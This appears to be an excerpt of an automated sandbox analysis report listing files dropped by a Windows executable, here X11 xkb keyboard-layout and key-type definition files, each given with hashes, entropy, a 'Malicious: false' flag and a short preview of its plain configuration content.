Preview:	default partial alphanumeric_keys.xkb_symbols "tw" {.. name[Group1]= "Taiwanese";.. include "us(basic)".. key <TLDE> { [ grave, asciitilde, dead_grave, dead_tilde ] };. key <AE01> { [. 1, exclam, U030D, exclamdown ] };. key <AE02> { [. 2, at, U0358, twosuperior ] };. key <AE03> { [. 3, numbersign, section, threesuperior ] };. key <AE04> { [. 4, dollar, yen, sterling ] };. key <AE05> { [. 5, percent, EuroSign, cent ] };. key <AE06> { [ 6,asciicircum, dead_circumflex, dead_caron ] };. key <AE07> { [. 7, ampersand, dead_acute, NoSymbol ] };. key <AE08> { [. 8, asterisk, dead_cedilla, dead_horn ] };. key <AE09> { [. 9, parenleft, dead_ogonek, dead_breve ] };. key <AE10> { [. 0, parenright, dead_abovedot, dead_abovering ] };. key <AE11> { [ minus, underscore, dead_macron,

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\typo

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2893
Entropy (8bit):	4.954849168816148
Encrypted:	false
SSDEEP:	48:s0GDdJjN05DEKmBWNVNOaN0sZbvn7Ld2DN0eYewP5N9lS2uN00fDbIKF:s0GDnjNLO7NNNtvnHd2DN/ohN9lpuNxB
MD5:	4C50B968121A4326C2681B1B1AF552CC
SHA1:	64C96B10DB24D798CC2288E15552FD167E0147C8
SHA-256:	DB2F3E375D23B2C660B582E21C8AF628584458376455B70A85BF10372C99F74C
SHA-512:	B59D3219DB5D7E5C7C5981E0DC72506591B24BE7531C426448440E6AF95F5C526436BA7316101AB711B30AEC88ACF7DEBC13E13C5C6076683E84A97A2530F00E
Malicious:	false
Preview:	// typographic keyboard.// Sergei Stolyarov <sergei@regolit.com>.//.// Initial contribution by Alexey Ten <alexeyten+deb@gmail.com>.// Additional contribution and code cleanup by Artur Dryomov <artur.dryomov@gmail.com>.//.// Mainly based on the layout proposed by Ilya Birman,.// http://ilyabirman.ru/projects/typography-layout/..// default layout.default partial.xkb_symbols "base" {.// 1st keyboard row. key <TLDE> { [NoSymbol, NoSymbol, NoSymbol, approxeq] };. key <AE01> { [NoSymbol, NoSymbol, onesuperior, exclamdown] }; // "1". key <AE02> { [NoSymbol, NoSymbol, twosuperior, onehalf] }; // "2". key <AE03> { [NoSymbol, NoSymbol, threesuperior, onethird] }; // "3". key <AE04> { [NoSymbol, NoSymbol, dollar, onequarter] }; // "4". key <AE05> { [NoSymbol, NoSymbol, permille] }; // "5". key <AE06> { [NoSymbol, NoSymbol, uparrow] }; // "6". key <AE07> { [NoSymbol, NoSymbol, ampersand, questiondown] }; // "7". key <AE08> { [NoSymbol, NoSymbol, infinity, oneeighth] };

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\tz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3429
Entropy (8bit):	4.054659199111424
Encrypted:	false
SSDEEP:	24:3FTrGsd9T602V5nMn/gyNlyxXybygv5v/yV4wy7yxZSQW2pA2/yJYenUgKdh69K5:1TrJc6Bv5K4pr6Jk7rp4tG6
MD5:	8421AC1D7E89AC593B8763B2E600BCDC
SHA1:	0AE2443B542934AB14EE72E3E2D20C75FF985DFC
SHA-256:	A62594E351480AD57EB18F68E46EC53D9F9F5DBAFA472235082EE2E1EFC73225
SHA-512:	60B05E8843CA06EC46DCB6DCA5D4336C5A2E785623353A1BB20FF3673DC0CB61795597D5FE74223F8ECD2B91FC849E0FE4FB4731AB9BEB52FB1F73669F4DA93C
Malicious:	false
Preview:	// Keyboard layout for Swahili in Arabic script..// Based on Martin Vidner's Buckwalter transliteration variant of the Arabic keyboard.// Please notify any corrections or omissions to.// Kevin Donnelly (kevin@dotmon.com)..default partial alphanumeric_keys.xkb_symbols "swa" {. name[Group1]= "Swahili (Tanzania)";.. key <TLDE> { [ 0x1000670, VoidSymbol ] };.. key <AE01> { [ 0x1000661, VoidSymbol ] };. key <AE02> { [ 0x1000662, VoidSymbol ] };. key <AE03> { [ 0x1000663, VoidSymbol ] };. key <AE04> { [ 0x1000664, VoidSymbol ] };. key <AE05> { [ 0x1000665, Arabic_percent ] };. key <AE06> { [ 0x1000666, VoidSymbol ] };. key <AE07> { [ 0x1000667, VoidSymbol ] };. key <AE08> { [ 0x1000668, VoidSymbol ] };. key <AE09> { [ 0x1000669, 0x100fd3e

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\ua

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	14912
Entropy (8bit):	4.4910243613964
Encrypted:	false
SSDEEP:	192:9VhalovwnpXNi2zxq9deg76bwNn65C731OhZ6Zo:9VhaiInW2zIeg7oy65C731Ob5
MD5:	14B975D05BA501259721899D02CB8A93
SHA1:	D6E35642A97FAB823833252E9218A36F1880E26F
SHA-256:	E363D1161384983665F7128CADFF401292A1BB6BC55CAFDF53F409E3F93B66CC
SHA-512:	D744378C613AEFD6A030F3F5617FFCDECACE93544F6AB11F7EEE0D18B0DA5E1F784FB08CEC02A022FBF9AE1F47A98585BCA992FDC87218F51B0F7F3A05D87B74
Malicious:	false
Preview:	// based on.// ukrainian standard keyboard .// AEN <aen@logic.ru> & Leon Kanter <leon@geon.donetsk.ua>.// Last Changes 2007/10/03 by Andriy Rysin <arysin@yahoo.com>..// Unicode - 3d level added with some Unicode symbols (typographic quotes, m-dash, n-dash etc), .// some often used cyrillics from other slavic languages and some ASCII symbols used often (slash, brackets...).default partial alphanumeric_keys.xkb_symbols "unicode" {. include "ua(winkeys)". . name[Group1]= "Ukrainian";.. key <TLDE> { [ U2019, .apostrophe, U0301, asciitilde ] };.// Apostrophe and Stress symbol. key <AE02> { [ 1, exclam, onesuperior ] };. key <AE02> { [ 2, quotedbl, twosuperior ] };. key <AE03> { [ 3, numerosign,. U00A7, U20B4 ] };.// Paragraph and Hryvnia sign. key <AE04> { [ 4, semicolon,. dollar, EuroSign ] };.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\us

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	67795
Entropy (8bit):	4.614014322879474
Encrypted:	false
SSDEEP:	1536:qoF6FK8ZBH7KpXJQU6WVSqRjpjoNngGJ5GmpJ4qptGQi81mMSIoz:gFK8Z0plRjloNGQe
MD5:	000BCF0F03975A029D19DCA452943A6F
SHA1:	74A0F0A55C7F7F2D8A1D1CCB10F058597ED1B51D
SHA-256:	8762A901D4E18B72CA4AFDA8F3B48661B77D966344AFB4A62776281D1B4EA540
SHA-512:	A47E972ABB47D5AB5DB8B023EA66F1D39FFF6D34208B5F6EF9473D160CD5D5E745CF0F6099193EF43A4E9D3CA559D0C3FBA8202ECFAD37AE023F844E2705EEDB
Malicious:	false
Preview:	default partial alphanumeric_keys modifier_keys.xkb_symbols "basic" {.. name[Group1]= "English (US)";.. key <TLDE> {.[ grave,.asciitilde.].};. key <AE01> {.[. 1,.exclam ..].};. key <AE02> {.[. 2,.at..].};. key <AE03> {.[. 3,.numbersign.].};. key <AE04> {.[. 4,.dollar..].};. key <AE05> {.[. 5,.percent..].};. key <AE06> {.[. 6,.asciicircum.].};. key <AE07> {.[. 7,.ampersand.].};. key <AE08> {.[. 8,.asterisk.].};. key <AE09> {.[. 9,.parenleft.].};. key <AE10> {.[. 0,.parenright.].};. key <AE11> {.[ minus,.underscore.].};. key <AE12> {.[ equal,.plus..].};.. key <AD01> {.[. q,.Q ..].};. key <AD02> {.[. w,.W..].};. key <AD03> {.[. e,.E..].};. key <AD04> {.[. r,.R..].};. key <AD05> {.[. t,.T..].};. key <AD06> {.[. y,.Y..].};. key <AD07> {.[. u,.U..].};. key <AD08> {.[. i,.I..].};. key <AD09> {.[. o,.O..].};. key <AD10> {.[. p,.P..].};. key <AD11> {.[ bracketleft,.braceleft.].};. key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\uz

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4157
Entropy (8bit):	5.0672244863591285
Encrypted:	false
SSDEEP:	48:txLW7d6IfweoYHJJ+/4qm0H5KZ0GGFJYbfPP8XRH2jlFEYX2f1X1TFO:jy51JY/XH4WzXcP8B2jl5qB9FO
MD5:	6E2E0ECADAAA711CB632645DD60CA6BA
SHA1:	A0FD69EF43B9F7E8CBA6B25398154DD19F1583C1
SHA-256:	81625E36371510D5E970848791E8081152512C4E5C2B4E00B5573180FE2280D8
SHA-512:	068AF3F8A06CB7B8570A1207DECD3C8C1AB87207D18A727396F1E35A092E0E7E9C298DEC4993CD2285EACF5B70825CB08424799D4C778DCF19D93F629A4FD223
Malicious:	false
Preview:	// Uzbek standard keyboard.//.// Mashrab Kuvatov <kmashrab@uni-bremen.de>.//.// History:.//.// Jun 2, 2003. Mashrab Kuvatov <kmashrab@uni-bremen.de>.//.// Created based on Russian standard keyboard. AEN <aen@logic.ru> .// The following symbols of Russian standard keyboard were replaced:.// minus (key <AE11>) with Byelorussian_shortu (U045e),.// equal (key <AE12>) with Cyrillic_ka_descender (U049b).// Cyrillic_ha (key <AD11>) with Cyrillic_ghe_bar (U0493).// Cyrillic_hardsign (key <AD12>) with Cyrillic_ha_descender (U04b3).// The following symbols of Russian standard keyboard were moved:.// Cyrillic_ze to key <AC02> (english 's'), .// Cyrillic_sha to key <AD08> (english 'i'),.// Cyrillic_ha to key <AD09> (english 'o'),.// Cyrillic_hardsign to key <AD10> (english 'p'). .//.// Feb 25, 2007. Mashrab Kuvatov <kmashrab@uni-bremen.de>.//.// Made cyrillic and latin variants. Default is cyrillic..// Cyrillic variant is standard compliant. The standard.// was accepted by the off

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\vn

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	5.12476619447892
Encrypted:	false
SSDEEP:	24:5h8htDBNT60Hqz4hfc7NgOFxXj2yMNofsgCcK25KcCjKhcNTyAcO9Hcp1KyEE7sG:5EDfHqz4RcKwj6MvCP2Qe8PjOEEfqZY
MD5:	3552909B177B2AB6A50F14253842A11E
SHA1:	363E4BC398D7F93BDEF483D8799E72BB77DAE9D5
SHA-256:	5A3D151F877D1BA4F1897ADB6ABB17A18E86A29828C8872C7D2AB28B21AC62BA
SHA-512:	E1387DDC3221DB6D2445B96C9BC51E2714333E6D64118183E5FA2AADE27B826BDC53E4E5A1E842BE76EA746A9B25D1665A75ADE12AB86CF72385E4C8A1673E2A
Malicious:	false
Preview:	// based on:.// vn, TCVN 5712:1993.// Le Hong Boi <le.hong.boi@bigfoot.com>.// August 1999.// Further modified by Ashley Clark <aclark@debian.org>.// July 2000 for X 4.0.// Fix accents into combining marks by Samuel Thibault <samuel.thibault@ens-lyon.org>.// July 2009...default partial alphanumeric_keys.xkb_symbols "basic" {.. include "us".. name[Group1]= "Vietnamese";.. key <TLDE> { [. grave, .asciitilde.] };. key <AE01> { [. abreve,.Abreve..] };. key <AE02> { [. acircumflex, Acircumflex.] };. key <AE03> { [. ecircumflex,.Ecircumflex.] };. key <AE04> { [. ocircumflex,.Ocircumflex.] };. key <AE05> { [. 0x1000300,.percent,.dead_grave,.percent..] };. key <AE06> { [. 0x1000309,.asciicircum,.dead_hook,.asciicircum.] };. key <AE07> { [. 0x1000303,.ampersand,.dead_tilde,.ampersand.] };. key <AE08> { [. 0x1000301,.asterisk,.dead_acute,.asterisk.] };. key <AE09> { [. 0x1000323,.parenleft,.dead_belowdot,.parenleft.] };. key <AE10> {

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\xfree68_vndr\amiga

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3899
Entropy (8bit):	4.848147180664951
Encrypted:	false
SSDEEP:	48:CWbRgdB/3rCEfuLC35bq4MIh2T7sCjHusUUuYkgW2VCufrCVAAr:XRgCQ5bhMIEswOP6Vfjqr
MD5:	AB569255A9D5ACD43D5E9C59BEE857F8
SHA1:	1FADC44FBC3F60B81558CCE610929F4BA6698B5F
SHA-256:	5076BC17B2083F346A05DD13B3EBF44CBD4526064BD5EC48154343A133DBDA8B
SHA-512:	A221C5A1519B00FE2DE856BEF9B8BF63A2747E342C4823A0290CB2C2431377E368B1EB76FDBED6DD2247BC48266593AB79E1EBFB859461A63A8B2E0EF415D3E1
Malicious:	false
Preview:	default xkb_symbols "usa1" {.. name[Group1]= "usa1";. key <ESC> {.[. Escape...].};.. // Begin "Function" section. key <FK01> {.[. F1...].};. key <FK02> {.[. F2...].};. key <FK03> {.[. F3...].};. key <FK04> {.[. F4...].};. key <FK05> {.[. F5...].};. key <FK06> {.[. F6...].};. key <FK07> {.[. F7...].};. key <FK08> {.[. F8...].};. key <FK09> {.[. F9...].};. key <FK10> {.[. F10...].};. // End "Function" section.. // Alphanumeric section. key <TLDE> {.[ grave,.asciitilde.].};. key <AE01> {.[. 1,.exclam ..].};. key <AE02> {.[. 2,.at..].};. key <AE03> {.[. 3,.numbersign.].};. key <AE04> {.[. 4,.dollar..].};. key <AE05> {.[. 5,.percent..].};. key <AE06> {.[. 6,.asciicircum.].};. key <AE07> {.[. 7,.ampersand.].};. key <AE08> {.[. 8,.asterisk.].};. key <AE09> {.[. 9,.parenleft.].};. key <AE10> {.[. 0,.parenright.].};. key <AE11> {.[ minus,.underscore.].};. key <AE12> {.[ equal,.plus..].};. key <

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\xfree68_vndr\ataritt

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4672
Entropy (8bit):	4.855666786302499
Encrypted:	false
SSDEEP:	96:R7Cg85bhMJwE8wa0hNe7EDuHp7gR7sK7sJ:RP8M+aewDA7gR7sK7sJ
MD5:	CA5506D16DB9FDE43F943D7D1E3F0E10
SHA1:	AD3DBB9B0478601CA54911301D95F8CBB2BD8503
SHA-256:	7CA65F17D920A17376755778CC210342FD612015C9593FDDC49FF7EABFCAE1DB
SHA-512:	D7EEB40D5C65394661A56883A207349858CF5CD8D479614B872AC421AEE04EC27D988C9A9A21234EBEFD93BEA77940B1C479DEAFDB419C79488717E5926C7CB3
Malicious:	false
Preview:	default xkb_symbols "us" {.. name[Group1]= "US/ASCII";.. key <ESC> {.[.Escape...].};.. // Alphanumeric section. key <AE01> {.[. 1,.exclam ..].};. key <AE02> {.[. 2,.at..].};. key <AE03> {.[. 3,.numbersign.].};. key <AE04> {.[. 4,.dollar..].};. key <AE05> {.[. 5,.percent..].};. key <AE06> {.[. 6,.asciicircum.].};. key <AE07> {.[. 7,.ampersand.].};. key <AE08> {.[. 8,.asterisk.].};. key <AE09> {.[. 9,.parenleft.].};. key <AE10> {.[. 0,.parenright.].};. key <AE11> {.[ minus,.underscore.].};. key <AE12> {.[ equal,.plus..].};. key <TLDE> {.[ grave,.asciitilde.].};. key <BKSP> {.[.BackSpace..].};.. key <TAB> {.[.Tab,.ISO_Left_Tab.].};. key <AD01> {.[. q,.Q ..].};. key <AD02> {.[. w,.W..].};. key <AD03> {.[. e,.E..].};. key <AD04> {.[. r,.R..].};. key <AD05> {.[. t,.T..].};. key <AD06> {.[. y,.Y..].};. key <AD07> {.[. u,.U..].};. key <AD08> {.[. i,.I..].};. key <AD09> {.[. o,.O..].};. key

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\symbols\za

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1905
Entropy (8bit):	4.356509657472231
Encrypted:	false
SSDEEP:	24:OZT6CMPtdgyNEamSO+J+BYDjs7EtYedSyUu7M7b7BGN7x5RyC1t+a2KAQVgqLG0Y:OTMFdj1yBYMtyfQPQMC0
MD5:	752FCE1E21596AFE1A79116DB6CF496A
SHA1:	BCA97868167BD4E7B75FA2BE3565A5BAEA2F0994
SHA-256:	E195C0171F55B681A3ED899B680B172D63F87C56B0942318E0E689DFDB155BCB
SHA-512:	62E45C59FA0E67AE1A5BEA1F76591495CCF19690796DC33F869A548DE55D3E21AB9375F22F157A323A13A804E39DA164BB8308FFE08112EEA87B9C98BAB76AA5
Malicious:	false
Preview:	// based on the Latvian and GB keyboard maps..default partial alphanumeric_keys modifier_keys.xkb_symbols "basic" {.. // Describes the differences between an en_US . // keyboard and a South African layout with . // dead keys. By Dwayne Bailey (dwayne@translate.org.za) .. include "latin".. name[Group1]="English (South Africa)";.. key <TLDE> { [ grave, asciitilde, dead_grave ] };. key <AE02>.{ [ 2, at, yen ].};. key <AE03>.{ [ 3, numbersign, sterling ].};. key <AE04>.{ [ 4, dollar, dollar ].};. key <AE05>.{ [ 5, percent, EuroSign ].};. key <AE06> { [ 6, asciicircum, dead_circumflex ] };.. key <AD03>.{ [ e, E, ediaeresis, Ediaeresis ].};. key <AD04>.{ [ r, R, ecircumflex, Ecircumflex ].};. key <AD05>.{ [ t, T, U1e71, U1e70 ].};. key <AD06>.{ [ y, Y, ucircumflex, Ucircumflex ].};. ke

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\basic

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	567
Entropy (8bit):	4.768314643983247
Encrypted:	false
SSDEEP:	12:Cn/V2EUCNcjpAQt8wMDpqv+N3wblvwDFvKJkgYIqI+NkTMLwb+LwDFyv:C/V2pCNGt8wMqS3wxwVakg9SkTMLwCLP
MD5:	94ED6C68F80A6312F9168567977330F9
SHA1:	6FB1B885D91D28E19D3B1AF0F46B4D147A5E90A1
SHA-256:	8D9516A428ED5AD354BD63A7BE7FAC903961AD7EECD2CB652C7BBBC302C23001
SHA-512:	E3635408C3D9E2DEFCFF7C91B61820F2B1FAAF4457332F0620B3977A16020256B14D7131C80F6146F65EC72FC71DAD2122A3B736E494D2596E09936B5662EFF8
Malicious:	false
Preview:	default xkb_types "basic" {.. // Fairly standard definitions for. // the four required key types.. virtual_modifiers NumLock;.. type "ONE_LEVEL" {..modifiers = None;..map[None] = Level1;..level_name[Level1]= "Any";. };.. type "TWO_LEVEL" {..modifiers = Shift;..map[Shift] = Level2;..level_name[Level1] = "Base";..level_name[Level2] = "Shift";. };.. type "ALPHABETIC" {. modifiers = Shift+Lock;. map[Shift] = Level2;. map[Lock] = Level2;. level_name[Level1] = "Base";. level_name[Level2] = "Caps";. };..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\cancel

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	231
Entropy (8bit):	4.806110605521074
Encrypted:	false
SSDEEP:	6:5vo6/CQbmnF7PG62NMTP+NMP4kGOJLEtTWYJNiLEtTfF9NAez:xn/DCnFC6qY+NM7ZJLwbOLwDFvAc
MD5:	D72D3B17D2BEB13C4A36095A40FED77C
SHA1:	0426779C4A36AAD033A94DDB5A8A914E5D47C8DC
SHA-256:	BAAFD90017F974BEFA0C798270E46A8006067C60A4ECAB8266C85703C7EF5503
SHA-512:	B420834B25C1858C898A4CF23793B491FC44289C004D905918A25EF7431A0FDEA52A32077C42C8C23F54352634A49CA07233832CDB748F7B335C3E13A232B42F
Malicious:	false
Preview:	partial default xkb_types "Shift_Cancels_Caps" {..override type "TWO_LEVEL" {. modifiers = Shift+Lock;. map[Shift] = Level2;. preserve[Lock]= Lock;. level_name[Level1] = "Base";. level_name[Level2] = "Shift";.};..};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\caps

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4537
Entropy (8bit):	4.9662923968211645
Encrypted:	false
SSDEEP:	96:qbmSutYS1zar5E/btYS1zar5E3hBSFtYSqaryZtYSqaryMmSDTDtYSUarkfbtYSP:nS8YS1arypYS1aryjSXYSqarmYSqary/
MD5:	08E478D42351FB9039ED9CFE28593407
SHA1:	90F9F8D92FEC97E68C70E8E9BDF152CDB1203D5F
SHA-256:	A44F29AC23C679C3E679CB09BD8F44AD928BC19E4B473E5503989DB1D08DDD39
SHA-512:	7DC3C78F0E6C55D6EE75729A4B0CECEB69694F746479832CBEF76B3377146C1ACAD2D9472BFF211397E5E247A44BC5AF49B901C460A7B1328B19BE47624EDE72
Malicious:	false
Preview:	// CapsLock uses internal capitalization rules.// Shift "pauses" CapsLock.partial xkb_types "internal" {. type "ALPHABETIC" {..modifiers = Shift+Lock;..map[Shift] = Level2;..preserve[Lock] = Lock;..level_name[Level1] = "Base";..level_name[Level2] = "Caps";. };.. type "FOUR_LEVEL_ALPHABETIC" {..modifiers = Shift+Lock+LevelThree;..map[None] = Level1;..map[Shift] = Level2;..preserve[Lock] = Lock;..map[LevelThree] = Level3;..map[Shift+LevelThree] = Level4;..map[Lock+LevelThree] = Level3;. map[Lock+Shift+LevelThree] = Level3;..preserve[Lock+LevelThree] = Lock;..level_name[Level1] = "Base";..level_name[Level2] = "Shift";..level_name[Level3] = "Alt Base";..level_name[Level4] = "Shift Alt";. };.. type "FOUR_LEVEL_SEMIALPHABETIC" {..modifiers = Shift+Lock+LevelThree;..map[None] = Level1;..map[Shift] = Level2;..preserve[Lock] = Lock;..map[LevelThree] = Level3;..map[Shift+LevelThree] = Level4;..map[Lock+LevelThree] = Level3;. map[Lock+Shift+LevelThree] = Level4;..pr

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\complete

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.124174250820214
Encrypted:	false
SSDEEP:	3:Ngno6RJCmJy/eA9H/vclA9IjPvFNMlA9VGHHElA9M1/MlA9JAlF/FMlA9AT5lA9W:N4o6/CRWAJklAqjPklA2ElAu1ElAU323
MD5:	DE3065F2D1EC6EC269F6878558BA2A5E
SHA1:	D988AE7E104FD9E3BCE50B6C8AE95D75F4562330
SHA-256:	495D290C1EE27613732DA355007AE58513C594BB2749F4EB532AA709FC067710
SHA-512:	4E7B22653808F29E7FC7F8CBA0EADB2726D7B382EFEF5558176DDE3CD3B9483F8791E681BDACDB61F185947054FE4E5EB04574A67A74F1297C15866844857C0D
Malicious:	false
Preview:	default xkb_types "complete" {. include "basic". include "mousekeys". include "pc". include "iso9995". include "level5". include "extra". include "numpad".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\default

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	178
Entropy (8bit):	4.118045723123583
Encrypted:	false
SSDEEP:	3:Ngno6RJCh8flwFFeA9H/vclA9VGHHElA9M1/MlA9AT5lA9LdVEr/2lA9JAlF/FMp:N4o6/Ch8dwwAJklA2ElAu1ElAiT5lA3O
MD5:	E2D962A4E5D31F00BE4587949706EA49
SHA1:	8B4FFA72B114F21E6C81399795F1D664F604C4CF
SHA-256:	B808C54C3D99541DDC572EEAD111DAAA52933A981732461B6F57B5E0A70E0EC7
SHA-512:	E4E8EC9C9C4189161F7477696EC2BA0116E64248458430B144317FDC9C5237B8CA0B591F684E6C57F0E468E9F0D76E35E15F53764010FDDA6952861813E30048
Malicious:	false
Preview:	default xkb_types "default" {. include "basic". include "pc". include "iso9995". include "extra". include "numpad". include "level5". include "mousekeys".};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\extra

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5531
Entropy (8bit):	4.8683680155618
Encrypted:	false
SSDEEP:	96:Bl14RtYSqarqxtYSUarubtYSUar5E3J04tHI1TdTyS3bg0r9IWtKturrwKftHSkX:Bn4jYSqariYSUargYSUaryZrHITdTySV
MD5:	BD9D7F30C251530671FA29976BC82F34
SHA1:	19F6F5EEED59F8C988FC46659820E6123536C765
SHA-256:	2060F444F3466550161A618F8C7EAA868C1BF17E704D329306E07EA3263F2462
SHA-512:	429EC13499453837B53064A1DFAC42F56E9A8AA3FA119E4E8E3CABB4196CDD811261E830080D3D1AEC0326D3F2F6E23FA8B84F26AF05C9CB69EFCD52A24FC77A
Malicious:	false
Preview:	partial default xkb_types "default" {. // Definition for a key type used for the czech keymap, for instance.. // Defines style a with four level shift. It is similar to three_level. // type used for iso9995 but it lets the shift key behave "normally"... virtual_modifiers LevelThree;.. type "FOUR_LEVEL" {. modifiers = Shift+LevelThree;..map[None] = Level1;..map[Shift] = Level2;..map[LevelThree] = Level3;..map[Shift+LevelThree] = Level4;..level_name[Level1] = "Base";..level_name[Level2] = "Shift";..level_name[Level3] = "Alt Base"; ..level_name[Level4] = "Shift Alt"; . };.. type "FOUR_LEVEL_ALPHABETIC" {..modifiers = Shift+Lock+LevelThree;..map[None] = Level1;..map[Shift] = Level2;..map[Lock] = Level2;..map[LevelThree] = Level3;..map[Shift+LevelThree] = Level4;..map[Lock+LevelThree] = Level4;..map[Lock+Shift+LevelThree] = Level3;..level_name[Level1] = "Base";..level_name[Level2] = "Shift";..level_name[Level3] = "Alt Base";..level_name[Level4] = "Shift Alt"

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\iso9995

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	447
Entropy (8bit):	4.824822222872523
Encrypted:	false
SSDEEP:	12:xn/o8wMrxMNUom6fpquQtY+N9caWcywblvwDFvZvwyMV:x/o8wCMR4tYSqarywxwVJwv
MD5:	2C3CCA9DACEC49DBB225A3B9136A7899
SHA1:	71ED5136554BA03CB4AF7B1D100C8E14A9A7D14E
SHA-256:	B3AA4573878111FAADAB2D8CCD18E1E7AE6AC7894279A4FBC7D2213AF9396A45
SHA-512:	63ED9BBAD136E0BA3612EE85D90816D31FC093BD6E018A80BF3486453CDFFD504C2442FA23C5C190C3C42CE5F45F9F972C02D9987D62FCA463FDCCB45F8CFBA6
Malicious:	false
Preview:	partial default xkb_types "default" {.. // Definition for a key type which . // can be used to implement ISO9995. // style level three shift. virtual_modifiers LevelThree;.. type "THREE_LEVEL" {..modifiers = Shift+LevelThree;..map[None] = Level1;..map[Shift] = Level2;..map[LevelThree] = Level3;..map[Shift+LevelThree] = Level3;..level_name[Level1] = "Base";..level_name[Level2] = "Shift";..level_name[Level3] = "Level3";. };.};.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\level5

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8581
Entropy (8bit):	4.305421186654305
Encrypted:	false
SSDEEP:	192:Bn4rYSqar68zHee1YSUar1p8zseeZaGH5GhbYSUaryq8zweeK1:Bn4Mgzi1CwjuEKCKX9
MD5:	3605DE677AE1D37C255F2C47618CACE8
SHA1:	B33AA8B4BB3DCF9C695051ABBD05D507300CF386
SHA-256:	CF398811A5753F44FC5258C7ABBD00D1A032BCD6DE3AE259BF3BA649D64FA3A9
SHA-512:	4130930D3714E13C505CA41E1D67D1AED675C72956B3D3F54FA9CF498DDEF22741AC178A0119CE24E5A2BAA21A0CA2DAF55C4A85F58D1049F6CDFA9BAE8BF15F
Malicious:	false
Preview:	partial default xkb_types "default" {. // Definition for a key type used for the czech keymap, for instance.. // Defines style a with four level shift. It is similar to three_level. // type used for iso9995 but it lets the shift key behave "normally"... virtual_modifiers LevelThree,ScrollLock,LevelFive;.. type "EIGHT_LEVEL" {. modifiers = Shift+LevelThree+LevelFive;..map[None] = Level1;..map[Shift] = Level2;..map[LevelThree] = Level3;..map[Shift+LevelThree] = Level4;..map[LevelFive] = Level5;..map[Shift+LevelFive] = Level6;..map[LevelThree+LevelFive] = Level7;..map[Shift+LevelThree+LevelFive] = Level8;..level_name[Level1] = "Base";..level_name[Level2] = "Shift";..level_name[Level3] = "Alt Base"; ..level_name[Level4] = "Shift Alt"; ..level_name[Level5] = "X";..level_name[Level6] = "X Shift";..level_name[Level7] = "X Alt Base";..level_name[Level8] = "X Shift Alt";. };.. type "EIGHT_LEVEL_ALPHABETIC" {..modifiers = Shift+Lock+LevelThree+LevelFive;..map[None]

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\xkb\types\mousekeys

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	225
Entropy (8bit):	4.737468082853738
Encrypted:	false
SSDEEP:	6:5vo6/Ch8dwodivst4k2NMqNsEyaoEtTWYBTAyEtTfF9NjYwzv:xn/o8td74kqDyHwblvwDFvb
MD5:	8574AB7B63D8281E60FEC6694EFF8316
SHA1:	0299F55C9B1131D27C6346891979196E740E6D11
SHA-256:	8456D2208A51232A4A98419E6AA44CFBC2053833CA5EEF5DA7E8179857C29366
SHA-512:	66016511FDF193DA367E2A3D227F611BB528952EA9189B7D0C2C4F32AE865E99200A995A1176E2D24C53CC30828FD5888E4DA0E172CD817FD6F7BFD93623921F
Malicious:	false
